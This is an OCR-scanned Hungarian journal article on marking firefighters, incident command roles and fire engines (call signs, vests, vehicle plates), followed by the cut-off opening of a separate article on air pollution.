fel van tlintetve. Nincsenek viszont jelSlve az olyan fontos informacidk, mint a hivonév
és a tlzoltastechnikai paraméterek.

Egy a tlizoltasban és m(iszaki mentésben részt vevék kozott végzett felmérés
szerint a nagyobb kiterjedésti kareseteknél mar gondot okozhat a szerek parancsnoka-
inak, a tlizoltas vezetésében részt vevok és a készenléti szerek pontos behatdrolasa.?
A karfelszamolasok rendkivil komplex és idékritikus volta miatt sziikséges minden
bizonytalansagi tényezd&t kiiktatni, amely akadalyozhatja a t(izoltas szervezetének
hatékonysagat. E cikkben a szerz megvizsgalja azokat a nemzetkozi szervezési
és technikai megoldasokat, amelyekkel a tlizoltasban részt vevé erék és eszkdzok
jelolésén javitani lehet.*

2 Péntya Péter: A katasztréfavédelem és a tlizoltdsdgok hazai és nemzetkozi tevékenysége, a beavatkozasok kere-
tei, a biztonsag és hatékonysag megjelenése. Hadmérndk, 12. (2017), 2. 201-213.

®  Tomka Péter: A beavatkozo tlizolto er6k és a készenléti szerek magyarorszagi jel6léséinek kérdéskore. Hadmérnok,
14.(2019), 4. 147-161.

4 Péntya Péter: Fire, Rescue, Disaster Management. Experiences from Different Countries. Academic and Applied
Research in Military and Public Management Science, 17. (2018), 2. 77-94.
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Jelolésrendszerek

A jeldlésrendszerek az emberi kommunikacio alapvetd, gyors és egyértelmdi infor-
macidatadas-eszkozei. Ezek lehet egyszer(, konnyen értelmezhetd informaciokozld
piktogramok, mint példaul a mellékhelyiségek vagy felvonok elhelyezése egy épiilet-
ben. Specidlis, jogszabalyban és szabvanyokban rogzitett jelolésrendszerek haszna-
lati, magatartasi és biztonsagi szabalyokat k6zolnek, mint példaul a KRESZ-tablak,
a munkahelyi biztonsagi jelek és a kémiai biztonsag jelolései.®

A mentd tlizvédelem teriiletén szamos jelolésrendszerrel talalkozhatnak
a beavatkoz¢ tlzoltok. Ezek olyan tlizoltas-taktikailag fontos informaciékat kom-
munikalhatnak, mint a beépitett tlizvédelmi berendezések alkalmazhatosaga® vagy
a veszélyes anyagok jelenléte.” Kifejezetten tlizoltoi hasznalatra lettek kialakitva
a taktikai helyszinrajzok egyezményes jelei® és a tlizolté-véddsisakok jelolései.’
Utobbi a tlizoltasi szervezet egyik eszkdze, amely segiti a tlizoltasban részt vevok
szituacids helyzetismeretét.”

A kareseteknél dolgozé tiizoltok egyedi jelolése

A kéreseteknél tevékenyked§ tlizoltokat az azonos védéruhdzat miatt nehéz egy-
mastol megkilonbdztetni. Ez kiilondsen igaz, amikor égzékésziiléket alkalmaznak,
akkor még a kozvetlen bajtarsak is nehezen ismerik meg egymast, ezért célszer(
a védéfelszerelésen valamilyen kdnnyen felismerhetd megkilonbdztetd jelzéseket
elhelyezni. Ez nemcsak a kdzvetlen egytiittm(ikodést kdnnyiti meg, hanem a beavat-
kozdk nyilvantartasat is elésegiti.

A tlizoltok azonositasanak lehetdségei
Tlzoltok jelolése jelvényszammal

Jelenleg a magyar szabalyozok a jelvényszam, a szolgalati hely, valamint vezeték,
irdnyitok esetén a rendszeresitett [étszam szerinti beosztas jelolését irja elS. Ezek kozil
a jelvényszamot lehet egy adott tlizoltohoz sorolni, a szolgalati hely és a beosztas
egy adott szolgalati napon eltérhet a sisakon jeloltekt6l. A jelvényszam alkalma-
zasa a megkulonboztetésre viszont tobb szempontbdl nem szerencsés. Egyrészt

5 2/1998. (1. 16.) MM rendelet a munkahelyen alkalmazando biztonsagi és egészségvédelmi jelzésekrél.

¢ 54/2014. (XII. 5.) BM rendelet az Orszagos Tiizvédelmi Szabalyzatrol.

7 MSZ EN 1089-3:2011 Szallithaté gazpalackok. A gazpalackok megjelslése (az LPG kivételével). 3. rész: Szinjels-
lés.

8 53/2018. (XII. 17.) BM OKF intézkedés a hivatasos tiizoltésagokon készenléti jellegii szolgalatot ellato tiizolto
allomany napi tovabbképzésének, valamint a tiizoltésagi szakteriilet altal tartandé gyakorlatok rendszerének
szabalyairdl, 2. melléklet.

° 2/2017. (VI. 5.) BM OKF utasitas a tlizolto védésisakok jelolésérsl.

" Tilo Mentler — Michael Herczeg: Interactive cognitive artifacts for enhancing situation awareness of incident
commanders in mass casualty incidents. Journal of Interaction Science, 3. (2015), 7.
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egy Otjegyl szamsor megjegyzése és személyhez kotése alapesetben is nehéz,
nemhogy kareseti koriilmények kozott. Masrészt a jelvényszam semmit nem arul
el egy karesetnél ellatandd feladatokrél. Ezeken tul, a szabalyozo szerint a szamot
10 mm-es betlikkel kell a sisak hatuljara felragasztani, igy ezt csak kdzvetlendl
a tlizolté mogott allva lehet elolvasni.

Tlzoltok jelolése névvel

Egy masik megoldas, hogy tlizolté teljes, illetve vezetékneve keriil valamilyen
formaban a védéruhazatra. Ez a megoldast sok tlizoltosag alkalmazta a hivatasos
onkormanyzati tlizoltésagok idejében, amikor is a sisakon matrica formajaban
volt feltlintetve a vezetéknév és a keresztnév elsd betlje, ahogyan ez az 1. dbran
lathato. Ez kiegésziilhetett egy a mellkason elhelyezett tép6zaras fellilettel, ahol
az egyenruhazatnak megfelelden lehetett feltiintetni a nevet. A név feltiintetését
mas orszagokban is alkalmazzak, mint ahogyan példaul sok helyltt az Amerikai
Egyesiilt Allamokban, ahol a t(izolté vezetéknevét nagy betiikkel irjak ki a védékabat
hatsé részének az aljara, hogy az még légzkésziilék hordasa mellett, s6t térdelve
is jol olvashatd, ahogyan ez a 2. dbran lathato.

P

fpkataszirifavételenzn

1. 4bra 2. 4bra
Egy tiizolto neve a sisakjan. Eszak-amerikai védékabat vezetéknévvel
Forras: Lakast(iz a Il. keriiletben. Févarosi Katasztréfavédelmi ellatva.
Igazgatosag. Elérhetd: https:/fovaros.katasztrofavedelem.hu/  Forras: Elmore Autaga News Area Firefighter’s
image/722645 (A let6ltés datuma: 2020. 02. 02.) Turnout Gear Bag Stolen from Vehicle;

Elmore S.0. Investigating. Elérhetd: https://
elmoreautauganews.com/wp-content/
uploads/2019/10/Firefighter-thieving.jpg
(A letoltés datuma: 2020. 02. 03.)
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Bar a nevek feltiintetése valamelyest megkonnyitheti a kdreseti nyilvantartast, sze-
mélyiségi jogi aggalyokat vet fel." Egy-egy komolyabb karesetnél rengeteg képanyag
készil, igy a televizion, Ujsagokon és vildghalon keresztiil az egész orszag, sét az egész
vilag megismerhetné az ott beavatkoz¢ tlizolték nevét. Bar a nevek a jelvényszamok-
nal jelent&sen konnyebben személyhez kdthet6k, azok ismerete Ugyszintén nem jar
jelent6s tlzoltastaktikai el6nnyel.

Tlzoltok jeldlése radios hivonévvel

Egy tovabbi lehet8ség, amellyel azonosithatd egy adott tlizoltd, az pedig annak
radios hivoneve. Ezek a napi szolgalati létszam szerinti beosztasbol eredeztetheték,
igy a szolgalatszervezés alapjan személyhez kdtheté. A hivénév a legrovidebben
a szolgalati hely sisakjelolésének betiikddjaval'® és a hivonév-kiegészitéssel™ jelolhets,
példaul a X. kertileti Hivatasos T(izoltoparancsnoksag 1-es fecskendd parancsnoka igy
WX/24", a 2-es fecskend6 2-es beosztasu tlzoltdja ,X/2/2". Tlizoltastaktikai elénye
ennek a jelolésrendszernek jelentds, hiszen a hivonév alapjan megallapithatd, hogy ki
honnan érkezett, mi a karesetnél a felelSssége, illetve mely tlzoltoval van egy parban.
Hatranya viszont, hogy mivel az aznapi beosztas akar szolgalatrél-szolgélatra valtozik,
ezt valamilyen kdnnyen valtoztathaté médon kell jeldlni.

A beavatkozo tlizoltok radids hivoneveinek jelolési lehetSségei

A készenléti allomany esetében akar szolgalatrol szolgalatra valtozé radios hivonév
jelolése nem olyan egyszer(i, mint az allandé jelvényszam vagy vezetéknév. Erre
olyan megoldas kell, amellyel a szolgélatvaltas kezdetén egyszerlien és gyorsan
valtoztathaté meg a hivonévre utalé felirat. Erre nydjthatnak segitséget a tép6zaras
és magnestablas megoldasok.

A hivénév jeldlése a tlizoltd-véddsisakon

Magyarorszagon a tlizolto-véddsisakokon jelenleg a készenléti allomany esetében
a szolgalati hely megnevezése és a jelvényszam, valamint szer-, raj- és szolgalatpa-
rancsnok jelolése szerepel. Az ideiglenes létszam-atcsoportositasok miatt viszont
a jelolt szolgalati hely eltérhet, hogy ténylegesen melyik szervezethez tartozik egy
tlizoltd az adott napon. A parancsnokok jeldlése a tavolléti helyettesitések miatt
szintén eltérhet az aznapi hivénévtél.

" The Debate about Names on Turnout Jackets. Fire Rescue Magazine. Elérhetd: https://firerescuemagazine.firefighterna-
tion.com/2011/12/01/the-debate-about-names-on-turnout-jackets/ (A letéltés datuma: 2020. 02. 02.)

12 2/2017. (VI. 5.) BM OKF utasitas (9. lj.).

B 32/2017. (XII. 13.) BM OKF intézkedés a BM Orszagos Katasztréfavédelmi Féigazgatdsag, mint EDR VPN gaz-
da szervezetnek az egységes digitalis radiotavkozld rendszer 52-es virtualis maganhalézat lizemeltetésének
és hasznalatanak altalanos VPN szabalyairol.

. 2/2017. (VI. 5.) BM OKF utasitas (9. lj.).
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3. abra:

Az IdentiFire cég magnestablas jel6l6panelje.

Forras: IdentiFire® Gen 2 Magnet Passports for Phenix Helmets. IdentiFire. Elérhet6: https://identifiresafety.com/
wp-content/uploads/2016/12/IMG_8769.jpg (A letdltés datuma: 2020. 02. 03.)

Ezek miatt érdemes megfontolni, hogy az eddigi matricazott jelolések helyett valtoz-
tathato jellések keriiljenek a sisakokra. Az észak-amerikai orszagokban alkalmazzak
a tépbzaras vagy magnestablas paneleket véd&sisakokon a készenléti szer jeldlésére,
ahogyan ez a 3. abran lathato. Ehhez hasonléan lehetne paneleken jel6lni a szolgalati
hely réviditését a hivonévvel, amelyet a szolgalatvaltas soran a tlizoltok egymasnak
at tudnak adni.

Ennek kivitelezésében viszont akadaly lehet a modern, eurépai tipust védési-
sakok formatervezése, amelyek egyenetlen feliiletére nehezen lehetne felragasztani
a jelolépanelek tépézaras vagy magneses ellenparjat. A mindennapi cserélgetés
ugyancsak igénybe veszi a panelek tép6zarjat, illetve anyagat, ezért fokozott amor-
tizacioval kell szamolni.
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A hivénév jeldlése a tlizoltd véddruhan

Ahogyan sisakokon, Ugy a véd6ruhazaton is lehetséges cserélheté tépdzaras pane-
lekkel jeldlni a hivéneveket. Kétoldalt a felkaron elhelyezett tépdzaras feliileten
lehet elhelyezni a mindig aktualis hivénevet. Ez a megoldas hasonléan miikodik
a modern katonai és rendvédelmi egyenruhdzaton cserélhet6 allomany- és rend-
fokozati jelzésekhez, de létezik mar kifejezetten tlzoltd véd6ruhazathoz fejlesztett
verzidja, ahogyan ez a 4. abran lathatd. A tépézaras fellilet miatt viszont specialisan
kialakitott tlizoltd védéruhara van sziikség. A napi cserélgetés miatt itt is fokozott
amortizacioval lehet szamolni.

4. abra
Az F.D. Company Identifiers cég altal gyartott felkari panel.

Forras: Bunker Coat Identifiers is another option to keep your personnel identified when their SCBA is not needed.
F.D. Company Identifiers. Elérhet8: www.fdcompanyidentifiers.com/images/404_bc_shol_patch.JPG (A letoltés
datuma: 2020. 02. 03.)

A hivonév jeldlése a légz&késziiléken

A légz8késziilék vallpantjai és a palackrogzité heveder olyan feliilet, amelyhez kdnnyen
rogzithet6 azonositasi panel. Az egyik vallpantot koriilolelve rogzitheté egy kisebb
elolrél, a palackrogzitd hevederhez egy nagyobb hatulrol jol lathato panel. Egy ilyen
megoldas az 5. és a 6. abran lathato.
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5. 4bra
Az F.D. Company Identifiers cég vallpantra régzithetd panele.
Forras: The front identifier attaches to the harness strap just above the pressure gauge. F.D. Company |dentifiers.
Elérhets: www.fdcompanyidentifiers.com/images/480_DSC00521.JPG (A let6ltés datuma: 2020. 02. 03.)

6. dbra

Az F.D. Company Identifiers cég palackrégzits hevederre régzithetd panele.

Forras: Increasing Firefighter Safety by Improving Visibility. F.D. Company Identifiers. Elérhetd: www.
fdcompanyidentifiers.com/images/650_Picture_037_Apr22_0857PM.jpg (A letdltés datuma: 2020. 02. 03.)
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Ennek a kivitelnek legnagyobb elénye, hogy a légz6késziilékek a szeren mindig
a beosztasnak megfelel8en van malhazva, igy a hozzajuk k6tédé hivonév mindig
ugyanaz. A panel cseréjére csak akkor van sziikség, ha a légz6késziilék hordkeretét
meghibasodas miatt cserélni kell. Hatranya viszont, hogy csak akkor ad informaciot,
amikor égzésvédelem alkalmazasara kerdil sor.

A tlizoltasvezetd és a karesetnél szervezhet6 beosztasok jellése

A tlizoltasvezet§ altal a kareseteknél szervezhetd beosztasokrol a 39/2011. (XI. 15.)
BM rendelet rendelkezik.” A rendelet nevesiti a tlizoltasvezets-helyettes, a hattér-
parancsnok, a hattérparancsnok-helyettes, a torzstiszt, a szakaszparancsnok, a raj-
parancsnok,' a mentésicsoport-parancsnok, a 6sszekotd, a eligazitd és a biztonsagi
tiszt beosztasokat, de a tlizoltasvezetd szervezhet egyéb, altala sziikségesnek itélt
beosztast is.

E szervezett beosztasok jelolésére jelenleg nincsen jelolésrendszer kialakitva. Bar
korabban mar voltak kisérletek erre, de ezek bevezetése nem valosult meg, illetve
az egységes katasztréfavédelmi szervezet kialakitasa miatt ezek mar nem valdsithatok
meg abban a formaban.” A radion ugyan elhangzik a tlizoltas vezetésének atadas-at-
vétele, valamint a szervezett beosztasokra valé megbizas, de errél nem biztos, hogy
minden beavatkozo tlizolto értesl, illetve nagyobb kareseteknél ez hamar kdvethe-
tetlenné valhat. Ezt a feltevést megerdsiti a szerz6 altal a beavatkozd tlizolték kozott
végzett felmérés.™

A szervezhet beosztasok jeldlésére olyan megoldast kell keresni, amely szinek-
kel és feliratokkal egyértelmien jeloli az egyes beosztasokat, valamint kareseteknél
konnyen felvehetd és cserélhetd.

Cserélhetd megoldasok a tlizoltasvezet6 és a szervezhet6 beosztasok jelolésére

Beosztas jeldlése karszalaggal

Az egyes beosztasok jelélésére Magyarorszagon mar volt példa karszalagokkal, ahogyan
eza7.abran lathato. Jelent8s hatranya a megoldasnak, hogy lathatdsagi feliilete nagyon
kicsi, csak akkor lathatd, ha a visel6 karja is lathato, valamint viselés folyaman elcstszhat.™

> 39/2011. (XI. 15.) BM rendelet a tlizoltésag tlizoltasi és mlszaki mentési tevékenységének altalanos szabalyai-
rol.

s A rajparancsnok beosztas itt nem egyezik a készenléti szolgalat beosztasaval, amely egy hivatasos tiizolto-
parancsnokséag 2-es fecskendd, illetve egy katasztrofavédelmi 6rs 1-es fecskendd parancsnokat jeldli. Ebben
az esetben a rajparancsok ,,az esemény helyszinén kijelélt, a hozza beosztottakat irdnyité tlizoltd, alarendeltje
a tlizoltasvezetdnek, vagy vezetési torzs iranyitasi mod alkalmazasa esetén a tlizoltasvezetd altal megjelolt sza-
kaszparancsnoknak”.

7 Szemlits Gyula: A tiizoltds és miiszaki mentés sorén szervezhetd beosztasok jelzése specidlis lathatdségi mellényekkel.
Elérhet6: www.vedelem.hu/letoltes/anyagok/183-a-tuzoltas-es-muszaki-mentes-soran-szervezheto-beosztasok-
jelzese-specialis-lathatosagi-mellenyekkel.pdf (A letéltés datuma: 2020. 03. 22.)

® Tomkai. m. (3.1}

9 Ulrich Cimolino - Andreas Weich: Kennzeichnung von Fiihrungkréften, -Fahrzeugen und Plétzen. Landsberg,
ecomed Sicherheit, 2007. Tab. 2.1/1.
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7. 4bra
Légoltalmi karszalagok.

Forras: Légoltalmi karszalagok. Sziklakorhaz atombunker. Elérhet6: https://hu.museum-digital.org/data/hu-bu/
images/201512/14092703377jpg (A letéltés datuma: 2020. 02.12.)

Beosztds jelolése gallérral

8. dbra

A rescue-tec cég beosztast jeldl6 gallérja.

Forras: rescue-tec Kennzeichnungskoller. rescue-tec. Elérhet6: www.rescue-tec.de/images/product_images/
original_images/602_0.jpg (A letsltés datuma: 2020. 02. 12.)
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Egy egyes német szOvetségi tartomanyokban elterjedt megoldas a beosztasok jelolése
gallérral, ahogyan ez a 8. abran lathatd. Rogzitése a tlizoltd védéruhazat specialis
kialakitasat igényli. Bar ez a megoldas a karszalaggal ellentétben minden iranybol
lathatd, a feliratozhatd feliilete ennek is viszonylag kicsi. Légz&késziilék viselése viszont
jelent&sen rontja a gallér lathatosagat, a hatoldalon elhelyezett felirat olvashatésagat
teljesen ellehetetleniti.®®

Beosztas jelélése mellénnyel

A mellény hasznalata a tlizoltasvezetd és egyéb beosztasok jeldlésére Németorszag
mellett szdmos mas orszagban is elterjedt, alkalmazasa nem igényli a véd6ruhazat
specialis kialakitasat. Nagy felllete miatt nagyobb tavolsagbol is konnyen felismerhetd,
amit a légz6késziilék alkalmazéasa sem akadalyoz tulzott mértékben. A mellényen
ezen tul elhelyezhet&k zsebek és rogzitési pontok radidk, lampak és adminisztrativ
eszkozok szamara. A 9. abran lathatok kiilonboz6 szinl mellények.

9. dbra

Kiilénb6z6 szinli mellények.

Forras: Unseres technik — Bekleidung Feuerwehr Kaufungnen. Elérhet6: https://feuerwehr-kaufungen.de/images/
Bekleidung/Funktionswesten/funktonswesten1.png (A let6ltés datuma: 2020. 02. 12.)

2 Cimolino-Weich i. m. (19. lj.) Tab. 2.1/1.
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A szervezhetd beosztasok szinrendszere

Az atlathatdsag érdekében a szervezhetd beosztasokat nemcsak annak megnevezé-
sével — illetve annak roviditésével — kell jelolni, hanem a tlizoltasi szervezet szintjei
alapjan szin szerint is érdemes megkiilonboztetni. A német tlizoltosagoknal a vezetési
szintek a sportesemények érmei — arany, ezlist és bronz — analégiaja alapjan sarga,
fehér és vorosre tagozddnak, amely kiegésziil a szerek parancsnokai esetén a kékkel.
Ezeken tul a kiegészit6 beosztasoknak is van sajat szinjeldlése, mint a sajtdszovivének
vagy a biztonsagi tisztnek.”!

Mivel a németorszagi tlizoltasi szervezet eltér a magyarorszagitdl, ezért az ottani
szinjelolések kiindulasi alapnak jok, de nem lehet egy az egyben atvenni azokat.
A lehetséges sémanak a csoportiranyitas és a 10. abran lathato vezetési térzsiranyitas
strukturajahoz kell igazodnia.?

Tilizoltasvezetd
Szakasz Szakasz Szakasz Tlzoltasvezeto-
Parancsnok Parancsnok Parancsnok helyettes
R | R |[ R / R |[ R ; R / \
. Szakasz Szakasz
R Parancsnok Parancsnok
Hattér-
parancsnok
R R R
Hattérparancsnok-
helyettes
R R R

10. abra
A Vezetési Tdrzsiranyitas szervezeti felépitése.

Forras: 6/2016. (VI. 24.) BM OKF utasitas a Tlizoltas-taktikai Szabalyzat és a M(iszaki Mentési Szabalyzat
kiadasardl, 1. Melléklet 1.4.1. ¢)

21 Cimolino-Weich i. m. (19. j.) 18.
22 6/2016. (VI. 24.) BM OKF utasitas a T(izoltas-taktikai Szabalyzat és a Miiszaki Mentési Szabalyzat kiadasardl,
1. Melléklet.
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A készenléti szerek jeldlése

A készenléti szerek jeldlésére jelenleg Magyarorszagon nincsenek el&irasok. A bevett
gyakorlat szerint egyediil a szolgalati hely van jelolve a szerek ajtajain ragasztott mat-
ricaval vagy magnesmatricaval. Nagyobb kareseteknél, sok kiérkezd szernél viszont
hamar atlathatatlanna valhat a karhely, ezért a beavatkozo tlizoltok sziikségesnek
tartjak a szerek jobb jellését.?> Ugyszintén nincsenek jelélve a tlizoltészerek tiizol-
tastechnikai paraméterei, mint példaul a szivattylteljesitmény, a viztartaly mérete
vagy a mentési magassag.

Radios hivonevek jelolései

Mivel nagy kiterjedés( kareseteknél egy szertipusbol tébb azonos jarmi is a helyszinen
lehet, ezért sziikséges a szerek jeldlése egy egyedi azonositéval, amire leginkabb a szer radios
hivéneve alkalmas. Mivel a gépjarm(ivek meghibasodasa esetén tartalék szereket allitanak
be, ezért olyan megoldast érdemes alkalmazni, ami nem allandé és konnyen cserélhetd.

Erre alkalmas az eddig is alkalmazott magnestabla, viszont a szolgalati helyen
tul ezen a hivonevet is fel kellene tiintetni. Hatranya a magnestablanak, hogy mivel
gépjarmivon kivil van rogzitve, el6fordulhat, hogy vonulas kdzben a menetszél letépi.

Ez elkerllhet6, ha a hivénevet a fiilkén belil a szélvédé mdgé helyezik el. Aho-
gyan ez a 11. abran lathatd, ez megoldhaté egy tapaddkorongos mlanyagtablaval,
ami egyszer(ien dtmalhazhato6 egy masik szerre.

Florian Soest

B2\ \&

\_F ?_“““

11. dbra
A hivdnéyv jelblése tapaddkorongos tablaval.

Forras: Funkrufnamenschild aus Plexiglas. Feuerweh-shop.de Elérhet6: www.feuerwehr-shop.de/media/catalog/
product/cache/1/image/800x533/9df78eab33525d08d6e5fb8d27136e95/f/u/funkrufnamenschild_plexiglass.
jpg (A letsltés datuma: 2020. 02.19.)

2 Tomkai. m. (3.1}
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Tiizoltastechnikai paraméterek jel6lései

A tlizolté szerek tlizoltastechnikai paraméterei fontos informacioval szolgalnak
az alkalmazhato tlizoltastaktika kivalasztasahoz. Bar a szerre beosztott tlizoltdk
ezzel tisztaban vannak, de nagy kiterjedés( kareseteknél a tlizoltasvezetd nem csak
a sajat szolgalati helyérél kiérkez6 rajokat fogja irdnyitani. A dontéshozatali folyamat
leegyszer(sitésében nagy segitség lehet, hogy ha a tlizoltasban részt vevék ranézésre
egyértelmlien meg tudjak allapitani példaul egy gépjarmtifecskend6 vagy vizszallitd
szivattyUteljesitményét és tartalyméretét vagy egy magasbol menté mentési magassa-
gat. Mivel ezek a paraméterek a tlizoltoszerek allando jellemz6i, ezeket nem szlikséges
cserélhet6 megoldassal jeldlni, hanem matricaval lehet példaul a szélvéddn jeldlni.

;' / 4
SR \&\ \\\ \\\\ -
/‘\f\\\/ / //>\

12. abra
Rendszam egy német gépjarmlifecskendé tetején.

Forras: Das neue MLF der FFW-Bechtsbiittel. Freiwillige Feuerwehr Bechtsbiittel. Elérhetd: www.ffw-
bechtsbuettel.de/mlf?lightbox=dataltem-jen15e8x (A letdltés datuma: 2020. 02. 19.)

Rendszam jel6lése a szerek tetején
Nagyobb erddk és tézegteriiletek sikeres oltasahoz sziikséges a légi felderités.?* A légi

felvételek értelmezésében nagy segitség lehet a tlizoltoszerek felismerhet8sége, ezért
a vilag tobb orszagaban is nagyméret(i egyedi azonositot helyeztek el a jarmivek

¢ Restas Agoston: Thematic division and tactical analysis of the UAS application supporting forest fire manage-
ment. In Domingos Xavier Viegas (szerk.): Advances in Forest Fire Research. Coimbra, Universidade de Coimbra,
2014, 1561-1570.
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tetején. A méret miatt ez nem oldhatd meg cserélhetd kivitelben, igy a radiés hivé-
név nem jOhet széba, ezért a forgalmi rendszéamot érdemes felmatricazni, ahogyan
ez a12. abran lathato. A légi felvételek kielemzése sordn a miveletiranyitas adatba-
zisaibol kénnyedén kinyerhetd, hogy melyik rendszamhoz melyik szer tartozik.

Kovetkeztetések

A hatékony tlizoltasi szervezet miikddtetéséhez elengedhetetlen a jelolésrendszerek
hasznalata, amihez az itt bemutatott megoldasok egy megfelel6 kiindulasi alapot
nyUjtanak. Ezeknek az alkalmazhatdsaga viszont annak a szervezetnek a sajatossagaitol
fligg, amelyeket ki akar szolgalni. Célszer(i olyan rendszert valasztani, amely a lehetd
legkevesebb er6befektetéssel éri el a maximalis hatast, és a felhasznalok szamara
és a tlizoltasi szervezet résztvevdi altal is konnyen alkalmazhaté.

A beavatkozo tlzoltok jeldlésénél a jelenleg alkalmazott jelvényszam és a vilagon
sok helyitt — illetve kordbban Magyarorszagon is — hasznalt név jel6lésénél haszno-
sabb aradids hivészam jelolése. ELEbbi a jelvényszam ismerete a kareseti tevékenység
soran semmiféle taktikai elényt nem nyujt a beavatkozdk szamara, a vezetéknév jol
lathato jelolése meg személyiségi jogi kérdéseket vet fel. Ezekkel ellentétben aradids
hivénév nemcsak megfelel6 kareseti attekinthetéséget nyujt, hanem fokozza a sza-
mon kérhet8&séget, informaciot szolgaltat az egyes tlizoltok kareseti felel&sségérdl.
Viszont a készenléti allomany esetében a hivonév a napi szolgalati létszam szerinti
beosztashoz van kotve, ezért ezt a jelolést konnyen cserélhetd kivitelben kell alkal-
mazni. A sisakon cserélhet6 tép6zaras és magneses tablak Magyarorszagon nehezen
lennének alkalmazhatdk, mivel a jelenleg rendszeresitett és széles kdrben alkalmazott
sisakok nem rendelkeznek megfeleld méret( egyenletes fellilettel, ahol a rogzitéshez
sziikséges tépSzar vagy magneslap elhelyezhetd. A védéruhazat felkarjan elhelyezett
tépdzaras panel kdnnyebben kivitelezhetd, viszont ehhez sziikséges lenne az 6sszes
kiosztott véd6ruha szakszer(i atalakitasa, aminek végrehajtasa jelentés koltség-
gel jarna. Célszer( lenne a jovében a mar ennek megfeleléen késziilt védéruhakat
beszerezni, ugyanis ehhez csak minimalis plusz befektetés lenne sziikséges. Jelenleg
a beavatkozok radios hivonevének jelolését a legegyszeriibben a légz6késziiléken lehet
megvalositani. A [égzdkésziilékek a tlizoltdk napi szolgalati létszam szerinti beosztas
alapjan vannak malhdzva a szeren, ezért a palackrogzité hevederen és vallpantokon
elhelyezett jeldléseket csak akkor kell cserélni, ha a légz&késziilék meghibasodas vagy
karbantartas miatt szorul cserére. Hatranya ennek a megoldasnak, hogy csak akkor
van hatdsa, ha a légz6késziilék legalabb hordhelyzetben van, igy nagyobb kiterjedésti
mUiszaki mentéseknél és vegetacios tiizeknél nem jelentkezik az elénye.

A tlzoltasvezet6 és a karesetnél szervezhet beosztasok, hogy karesetnél konnyen
fel lehessen venni és a feladatkorok valtozasa esetén cserélni. Ennek a kévetelménynek
megfelel a karszalag, a gallér és a mellény is, viszont a lathatosagban jelentds kiilonbség
van. A karszalag csak kis feltlettel rendelkezik, ezért tavolbdl nehezen lathatd. A gallér
mar nagyobb feliilettel rendelkezik, viszont a rogzitéséhez specialis véd6ruhara van
sziikség, raadasul a légz6késziilék hordasa jelentdsen lecsdkkenti a lathato feliiletet.
A mellények rendelkeznek a legnagyobb feliilettel, igy minden oldalrél jol lathatok.
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Alkalmazasukhoz nem sziikséges a védéruhazat specialis kialakitasa, és ha nem indo-
kolja a kareset jellege akar védékabat nélkil is hordhatd. A mellényen elhelyezhet6k
kiilonbozd célzsebek, radiotartok és tolltartok, amelyek megkonnyithetik az iranyitoi
és adminisztrativ munkat. A szinrendszerét célszer(i a vezetési torzsiranyitas szervezeti
szintjeihez igazitani.

A gépjarmlivek jeldlése nem igényel irredlisan nagy beruhazast. A hivénév jelo-
léséhez egy egyszerd, felmatricazott mlianyag tablara, valamint tapaddkorongokra
van sziikség. A tlzoltastechnikai paraméterek szintén egyszer(ien jelolhet6k matri-
cazassal a szélvédén egy olyan helyen, ahol nem zavarja a gépjarmivezetd latasat.
A rendszamok matricézasa a gépjarm(vek tetején nagyban attdl fligg, hogy milyen
a tetejének a kialakitasa. A megkilonbdztetd hang- és fényjelzések elhelyezése,
valamint a tetén elhelyezett létrak megnehezithetik a feliratok lathatdsagat, ezért
a rendszeresitett gépjarmdtipusokat egyesével kell vizsgalni, hogy kivitelezheté-e
a tetén a rendszam feliratozasa.
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53/2018. (XII. 17.) BM OKF intézkedés a hivatasos tiizoltosagokon készenléti jellegti
szolgalatot ellato tlzoltd allomany napi tovabbképzésének, valamint a tlizoltosagi
szakteriilet altal tartandd gyakorlatok rendszerének szabalyairdl 2. Melléklet

Internetes forrasok

Bunker Coat Identifiers is another option to keep your personnel identified when their
SCBA is not needed. F.D. Company Identifiers. Elérhetd: www.fdcompanyiden-
tifiers.com/images/404_bc_shol_patch.JPG (A letoltés datuma: 2020. 02. 03.)

Elmore Autaga News Area Firefighter's Turnout Gear Bag Stolen from Vehicle; Elmore
S.O. Investigating. Elérhet6: https://elmoreautauganews.com/wp-content/uplo-
ads/2019/10/Firefighter-thieving.jpg (A letoltés datuma: 2020. 02. 03.)

The front identifier attaches to the harness strap just above the pressure gauge. F.D.
Company Identifiers. Elérhets: www.fdcompanyidentifiers.com/images/480_
DSC00521.JPG (A letoltés datuma: 2020. 02. 03.)

Funkrufnamenschild aus Plexiglas. Feuerweh-shop.de Elérhet&: www.feuerwehr-shop.
de/media/catalog/product/cache/1/image/800x533/9df78eab33525d08d6e-
5fb8d27136e95/f/u/funkrufnamenschild_plexiglass.jpg (A letoltés datuma:
2020.02.19.)

IdentiFire® Gen 2 Magnet Passports for Phenix Helmets. IdentiFire. Elérhetd: https://
identifiresafety.com/wp-content/uploads/2016/12/IMG_8769.jpg (A letoltés
datuma: 2020. 02. 03.)

Increasing Firefighter Safety by Improving Visibility. F.D. Company Identifiers. Elérhet6:
www.fdcompanyidentifiers.com/images/650_Picture_037_Apr22_0857PM.jpg
(A letoltés datuma: 2020. 02. 03.)

Lakasttiz a Il. kertiletben. FSvarosi Katasztrofavédelmi Igazgatdsag Elérhetd: https://
fovaros.katasztrofavedelem.hu/image/722645 (A let6ltés datuma: 2020. 02.02.)

Légoltalmi karszalagok. Sziklakorhaz atombunker. Elérhetd: https://hu.museum-di-
gital.org/data/hu-bu/images/201512/14092703377 .jpg (A letoltés datuma:
2020.02.12.)
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Das neue MLF der FFW-Bechtsbiittel. Freiwillige Feuerwehr Bechtsbiittel. Elérheté:
www.ffw-bechtsbuettel.de/mlf?lightbox=dataltem-jen15e8x (A letoltés datuma:
2020.02.19.)

rescue-tec Kennzeichnungskoller. rescue-tec. Elérhet6: www.rescue-tec.de/images/
product_images/original_images/602_0.jpg (A letoltés datuma: 2020. 02.12.)

Unseres technik — Bekleidung Feuerwehr Kaufungnen. Elérhetd: https://feuerwehr-kau-
fungen.de/images/Bekleidung/Funktionswesten/funktonswesten1.png (A letoltés
datuma: 2020. 02.12.)
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Frigy Eva Gyéngyi'

Eltetd levegs — Magyarorszagra
jellemzd levegbszennyezd anyagok
jellemzése, egészségligyi hatasai I. rész

Sustaining Air — Characterisation of Air Polluting Materials
Regarding Hungary and Their Sanitary Impact, Part I.

A19. szdzadtol két litemben kiindulé ipari forradalom kévetkeztében a vilag légkori
szennyezettsége exponencialis iramban novekedik. Mara odaig jutottunk, hogy
kulon tanulmanyok foglalkoznak ezzel a problémaval, és a vilag orszagai egyiitte-
